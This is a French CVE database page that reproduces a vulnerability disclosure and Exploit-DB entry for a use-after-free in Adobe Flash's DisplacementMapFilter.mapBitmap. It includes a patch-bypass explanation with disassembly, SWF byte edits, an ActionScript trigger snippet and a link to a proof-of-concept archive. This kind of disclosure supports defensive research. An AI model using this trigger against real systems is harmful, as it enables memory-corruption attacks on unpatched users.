Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 37861
Date de publication : 2015-08-18 22h00 +00:00
Auteur : bilou
EDB Vérifié : Yes
Source: https://code.google.com/p/google-security-research/issues/detail?id=377&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
[Deadline tracking for https://code.google.com/p/chromium/issues/detail?id=487237]
Credit is to bilou, working with the Chromium Vulnerability Reward Program
---
There is a use after free in Flash caused by an improper handling of BitmapData objects in the DisplacementMapFilter.mapBitmap property.
This is almost a repost of Issue 457680 due to a patch failure.
VERSION
Chrome Version: N/A now, Flash StandAlone Debug 17.0.0.188
Operating System: [Win7 x64 SP1]
REPRODUCTION CASE
The AS2 mapBitmap_v2_as2.fla can be compiled with Flash CS5. Some bytes must be changed manually to trigger the issue (see below).
Just put mapBitmap_v2_as2.swf in a browsable directory and run the swf with Chrome. It might crash while dereferencing 0x41424344 (hopefully, not tested yet because not available).
After compiling mapBitmap_v2_as2.swf, I had to change the bytes at offset 0x92B in the (MyBitmapData constructor):
52 17 96 02 00 04 03 26 to 17 17 17 17 17 17 17 17 (actionPOP)
The description is exactly the same as in Issue 457680 so I won't repost it. Here are just my comments on the patch.
They basically added a marker at offset +0xDC in the flash standalone debugger (the standalone player is not available at the time of writing):
.text:005AD629 loc_5AD629:
.text:005AD629 lea ecx, [esi+0DCh]
.text:005AD62F push edi
.text:005AD630 mov [ebp+1C4h+var_198], ecx
.text:005AD633 call xsetUseMarker
.text:0059F762 cmp byte ptr [ecx], 0 ; is the marker present?
.text:0059F765 jz short loc_59F77B
.text:0059F767 cmp [esp+arg_0], 0 ; is 0 provided?
.text:0059F76C jz short locret_59F77E
.text:0059F76E mov ecx, dword_EE4788 ; kill the program
.text:0059F774 call sub_9798C0
.text:0059F779 jmp short locret_59F77E
.text:0059F77B
.text:0059F77B loc_59F77B:
.text:0059F77B mov byte ptr [ecx], 1 ; else set the marker
.text:0059F77E
.text:0059F77E locret_59F77E:
.text:0059F77E retn 4
That marker is then removed when we exit the BitmapData dispatcher:
.text:005AEF29 mov eax, [ebp+1C4h+var_198] ; jumptable 005AD654 default case
.text:005AEF2C mov byte ptr [eax], 0
So, to trigger again the issue, we just have to put an extra call to getPixel32 for example:
var o = new Object()
o.valueOf = function () {
bd.getPixel32(1,4) // remove the marker :)
f()
for (var i = 0; i<0x10;i++) {
var tf:TextFormat = new TextFormat()
tf.tabStops = b
a[i] = tf
}
return 4
}
bd.getPixel32(o,4)
And we're done :)
---
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37861.zip
Products Mentioned
Configuraton 0
Adobe>>Flash_player >> Version To (including) 18.0.0.209
Apple>>Mac_os_x >> Version -
Microsoft>>Windows >> Version -
Configuraton 0
Adobe>>Flash_player >> Version To (including) 11.2.202.491
Linux>>Linux_kernel >> Version -
Configuraton 0
Opensuse>>Evergreen >> Version 11.4
Configuraton 0
Adobe>>Air >> Version To (including) 18.0.0.180
Adobe>>Air_sdk >> Version To (including) 18.0.0.180
Adobe>>Air_sdk_\&_compiler >> Version To (including) 18.0.0.180
Références